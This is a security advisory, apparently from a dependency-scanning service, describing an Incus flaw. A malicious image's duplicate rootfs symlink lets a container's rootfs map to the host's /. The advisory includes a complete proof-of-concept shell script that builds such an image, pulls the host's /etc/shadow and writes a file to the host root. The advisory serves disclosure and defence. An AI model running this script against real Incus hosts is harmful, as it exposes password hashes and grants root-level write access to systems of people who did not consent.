Go · github.com/lxc/incus/v7/cmd/incusd
Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.
metadata.yaml
rootfs/
rootfs -> /
In practice, this allows a malicious actor to access the host's filesystem with root privileges.
Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC rootfs symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.